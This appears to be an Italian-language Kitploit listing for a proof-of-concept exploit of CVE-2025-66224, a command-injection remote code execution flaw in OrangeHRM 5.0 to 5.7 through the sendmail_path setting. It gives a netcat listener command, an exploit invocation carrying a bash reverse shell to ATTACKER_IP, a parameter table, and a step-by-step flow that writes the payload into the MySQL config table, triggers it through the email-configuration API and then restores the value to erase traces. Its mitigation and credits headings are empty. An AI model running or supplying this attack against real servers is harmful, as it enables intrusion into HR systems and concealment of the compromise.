PoC-CVE-2025-66224 — Exploit proof-of-concept per CVE-2025-66224 che dimostra l'esecuzione remota di codice in OrangeHRM tramite iniezione di comandi nel parametro sendmail_path, con iniezione automatizzata del payload nel database e pulizia. | Kitploit

OrangeHRM RCE Exploit - CVE-2025-66224

📋 Descrizione

Questa Proof of Concept (PoC) dimostra una vulnerabilità di Remote Code Execution (RCE) in OrangeHRM tramite command injection nel parametro di configurazione sendmail_path.

L'exploit funziona in questo modo:

Inietta un payload dannoso nel database MySQL (tabella hs_hr_config)
Attiva l'esecuzione del payload tramite l'endpoint API di configurazione email
Ripristina automaticamente il valore originale per eliminare le tracce

🎯 Versioni Interessate

OrangeHRM versione 5.0 fino alla 5.7

⚠️ Disclaimer

Questo strumento è fornito solo per scopi didattici e test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non sono responsabili per eventuali usi impropri o danni causati da questo strumento.

🔧 Requisiti

pip install requests mysql-connector-python

# Avvia il listener sulla macchina dell'attaccante
nc -lvnp 4444

# Esegui l'exploit con il payload reverse shell
python3 exploit.py -t http://target.com/ \
    -c "your_session_cookie" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

Parametro	Short	Obbligatorio	Descrizione
`--target`	`-t`	✅	URL del target (es., http://target.com)
`--cookie`	`-c`	✅	Valore del cookie di sessione
`--cookie_name`	`-cn`	❌	Nome del cookie (predefinito: _orangehrm)
`--command`	`-cmd`	✅	Comando da eseguire sul target
`--db_host`	`-dh`	✅	Indirizzo host MySQL
`--db_user`	`-du`	✅	Nome utente MySQL
`--db_pass`	`-dp`	✅	Password MySQL
`--db_port`	`-dport`	❌	Porta MySQL (predefinita: 3306)

1. Autenticazione a OrangeHRM (ottenere un cookie di sessione valido)
   ↓
2. Connessione al database MySQL
   ↓
3. Individuazione della tabella hs_hr_config
   ↓
4. Aggiornamento del valore email_config.sendmail_path:
   DA: /usr/sbin/sendmail -bs
   A:   /usr/sbin/sendmail -bs && <PAYLOAD> #
   ↓
5. Attivazione dell'esecuzione tramite API:
   PUT /web/index.php/api/v2/admin/email-configuration
   ↓
6. Il comando viene eseguito sul server
   ↓
7. Ripristino del valore originale (pulizia)

PoC-CVE-2025-66224

Più Popolari

📦 Installazione

🚀 Utilizzo

Passo 2: Eseguire l'Exploit

Esempio - Comando Semplice

Esempio - Reverse Shell

📝 Parametri

🔍 Come Funziona

Dettagli della Vulnerabilità

Dettagli Tecnici

🛡️ Mitigazione

🤝 Crediti

🔗 Riferimenti